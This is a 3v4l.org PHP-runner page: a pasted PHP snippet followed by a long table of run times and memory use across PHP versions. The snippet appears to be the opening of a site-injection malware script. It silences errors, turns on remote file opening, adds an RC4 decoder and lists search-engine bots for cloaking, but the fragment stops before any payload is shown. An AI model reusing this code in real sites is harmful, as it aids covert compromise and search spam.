3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (function_exists('ini_set')){ @ini_set('allow_url_fopen', 1); @ini_set('display_errors', 0); } define('DISALLOW_FILE_EDIT', true); define('determinator', 1); function rc4($key, $string) { $j=$i-$i=-1; $s=array(); $result=implode($s); for ($a=256;++$i<$a;$s[$i]=$i); $x=$i=$j-1; for ($key_len=strlen($key); ++$i<$a;$s[$j]=$x){ $j=($j + $s[$i] + ord($key[$i % $key_len])) % $a; $x=$s[$i]; $s[$i]=$s[$j]; //$s[$j]=$x; } for ($y=$j=$i=0; $y<strlen($string);){ $i=++$i%$a; $j=($j + $s[$i]) % $a; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $result.=$string[$y++] ^ chr($s[($s[$i]+$s[$j]) % $a]); } return $result; } function w3net_feof($fp, &$start=NULL) { $start = microtime(true); return feof($fp); } function php_server_lower($item){ return @strtolower(@$_SERVER[$item]); } $source='{{source}}'; $ver='{{version}}'; $salt='{{salt}}'; $host='http'; $show_for_agents='google+yahoo+baidu+bingbot+msnbot+yandex'; $empty_string=implode(array()); if (isset($_SERVER['HTTPS'])){ if (@$_SERVER['HTTPS'] != 'off') $host.='s'; } $host.='://'.php_server_lower('HTTP_HOST');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0050.01215.08
7.3.120.0050.01114.57
7.3.110.0080.00814.68
7.3.100.0030.01114.83
7.3.90.0090.00314.71
7.3.80.0070.00514.72
7.3.70.0080.00214.71
7.3.60.0050.00714.91
7.3.50.0050.00614.73
7.3.40.0070.00714.67
7.3.30.0060.01014.69
7.3.20.0080.00516.58
7.3.10.0070.00616.55
7.3.00.0070.00716.56
7.2.250.0120.00715.10
7.2.240.0060.01215.11
7.2.230.0090.00615.07
7.2.220.0010.01215.07
7.2.210.0060.00915.18
7.2.200.0070.00615.12
7.2.190.0070.00615.00
7.2.180.0060.00815.03
7.2.170.0040.01115.04
7.1.330.0070.00715.73
7.1.320.0030.00915.88
7.1.310.0020.01315.67
7.1.300.0040.00915.64
7.1.290.0060.00715.79
7.1.280.0070.00715.62
7.1.270.0050.01015.85
7.1.260.0080.00515.76
7.1.70.0040.00716.86
7.1.60.0120.01219.17
7.1.50.0090.01316.96
7.1.00.0070.05322.57
7.0.200.0000.00816.88
7.0.140.0070.07322.05
7.0.110.0200.07320.04
7.0.100.0070.08320.12
7.0.90.0030.08319.94
7.0.80.0130.08019.88
7.0.70.0070.08319.89
7.0.60.0100.07019.71
7.0.50.0100.08320.34
7.0.40.0030.08320.05
7.0.30.0130.08319.96
7.0.20.0170.07720.05
7.0.10.0070.05020.02
7.0.00.0100.08020.15
5.6.280.0000.08021.11
5.6.250.0100.07720.61
5.6.240.0000.05720.64
5.6.230.0030.08320.66
5.6.220.0030.07020.69
5.6.210.0070.07720.60
5.6.200.0000.08321.23
5.6.190.0130.04721.30
5.6.180.0100.07321.07
5.6.170.0070.06721.20
5.6.160.0000.08021.16
5.6.150.0100.08321.30
5.6.140.0100.08320.94
5.6.130.0000.08021.00
5.6.120.0130.07321.06
5.6.110.0070.08021.04
5.6.100.0130.07021.08
5.6.90.0030.08021.05
5.6.80.0000.08720.36
5.6.70.0030.07320.42
5.6.60.0130.05320.65
5.6.50.0100.08020.69
5.6.40.0070.07720.55
5.6.30.0170.07320.31
5.6.20.0100.08020.32
5.6.10.0030.06020.58
5.6.00.0230.08320.50
5.5.380.0100.04720.58
5.5.370.0000.08020.58
5.5.360.0100.07320.57
5.5.350.0100.07020.48
5.5.340.0030.08721.04
5.5.330.0130.07720.83
5.5.320.0100.07021.00
5.5.310.0030.08720.96
5.5.300.0130.06020.86
5.5.290.0100.04721.00
5.5.280.0100.08021.04
5.5.270.0100.08021.04
5.5.260.0100.08320.89
5.5.250.0070.05020.64
5.5.240.0070.07720.39
5.5.230.0000.06720.36
5.5.220.0070.08020.31
5.5.210.0130.07320.21
5.5.200.0070.08320.18
5.5.190.0030.06320.18
5.5.180.0130.07720.24
5.5.160.0130.06720.40
5.5.150.0100.04320.18
5.5.140.0170.07320.30
5.5.130.0130.07020.30
5.5.120.0070.06720.20
5.5.110.0130.07020.26
5.5.100.0030.07320.01
5.5.90.0070.07020.24
5.5.80.0130.06720.21
5.5.70.0130.07020.17
5.5.60.0070.07720.13
5.5.50.0130.06320.09
5.5.40.0070.06320.15
5.5.30.0000.06319.98
5.5.20.0100.07320.25
5.5.10.0070.07720.26
5.5.00.0070.07320.13
5.4.450.0070.05319.32
5.4.440.0100.07019.34
5.4.430.0100.07719.31
5.4.420.0200.07019.48
5.4.410.0100.07019.42
5.4.400.0170.06719.02
5.4.390.0070.04719.20
5.4.380.0030.08319.14
5.4.370.0100.07719.34
5.4.360.0000.05319.09
5.4.350.0130.06718.99
5.4.340.0000.08019.06
5.4.320.0130.07719.25
5.4.310.0070.06019.03
5.4.300.0030.04718.99
5.4.290.0130.06719.14
5.4.280.0100.06019.02
5.4.270.0100.06319.16
5.4.260.0030.07018.94
5.4.250.0100.06719.23
5.4.240.0100.07019.30
5.4.230.0100.07019.03
5.4.220.0070.07319.18
5.4.210.0070.06019.02
5.4.200.0130.07019.33
5.4.190.0070.08319.08
5.4.180.0100.07319.22
5.4.170.0070.07318.99
5.4.160.0100.06719.14
5.4.150.0030.07318.89
5.4.140.0100.04016.45
5.4.130.0030.05316.40
5.4.120.0000.06716.60
5.4.110.0070.07316.71
5.4.100.0070.07316.60
5.4.90.0170.06016.48
5.4.80.0030.06716.59
5.4.70.0070.06716.36
5.4.60.0070.07016.48
5.4.50.0070.07016.58
5.4.40.0100.07016.57
5.4.30.0070.07316.47
5.4.20.0100.06716.63
5.4.10.0130.06316.25
5.4.00.0070.07316.02
5.3.290.0000.08014.82
5.3.280.0000.05714.70
5.3.270.0070.06714.72
5.3.260.0000.08014.77
5.3.250.0070.07014.63
5.3.240.0030.07714.71
5.3.230.0100.07314.75
5.3.220.0070.07014.68
5.3.210.0000.08314.70
5.3.200.0100.06314.74
5.3.190.0100.07314.68
5.3.180.0030.07314.44
5.3.170.0070.07314.57
5.3.160.0100.07014.63
5.3.150.0130.07014.67
5.3.140.0070.07314.44
5.3.130.0130.06314.70
5.3.120.0100.07014.66
5.3.110.0030.04714.80
5.3.100.0130.06714.07
5.3.90.0130.06314.05
5.3.80.0000.08014.05
5.3.70.0030.08014.18
5.3.60.0070.06314.07
5.3.50.0100.06713.97
5.3.40.0130.06313.97
5.3.30.0030.07013.81
5.3.20.0000.07713.74
5.3.10.0070.07313.65
5.3.00.0100.05013.65
5.2.170.0030.06011.24
5.2.160.0070.06011.40
5.2.150.0100.04711.02
5.2.140.0030.05311.15
5.2.130.0070.05310.98
5.2.120.0000.06711.15
5.2.110.0070.06011.09
5.2.100.0070.05711.21
5.2.90.0070.06311.25
5.2.80.0030.03711.12
5.2.70.0100.06011.11
5.2.60.0070.06311.07
5.2.50.0070.06011.01
5.2.40.0100.05710.88
5.2.30.0030.06311.00
5.2.20.0000.04011.13
5.2.10.0000.03710.96
5.2.00.0100.03310.77
5.1.60.0030.02710.18
5.1.50.0000.02710.02
5.1.40.0070.0239.96
5.1.30.0030.03010.38
5.1.20.0000.02710.40
5.1.10.0030.03310.10
5.1.00.0000.03710.08
5.0.50.0000.0238.64
5.0.40.0000.0178.30
5.0.30.0030.0308.30
5.0.20.0000.0208.30
5.0.10.0030.0178.30
5.0.00.0030.0238.30
4.4.90.0000.0378.30
4.4.80.0030.0338.30
4.4.70.0000.0208.30
4.4.60.0030.0338.30
4.4.50.0000.0308.30
4.4.40.0000.0238.30
4.4.30.0000.0178.30
4.4.20.0070.0108.30
4.4.10.0000.0208.30
4.4.00.0000.0278.30
4.3.110.0000.0238.30
4.3.100.0000.0338.30
4.3.90.0000.0138.30
4.3.80.0030.0478.30
4.3.70.0030.0338.30
4.3.60.0000.0138.30
4.3.50.0000.0178.30
4.3.40.0000.0208.30
4.3.30.0030.0138.30
4.3.20.0000.0178.30
4.3.10.0000.0178.30
4.3.00.0000.0138.30

preferences:
35.17 ms | 401 KiB | 5 Q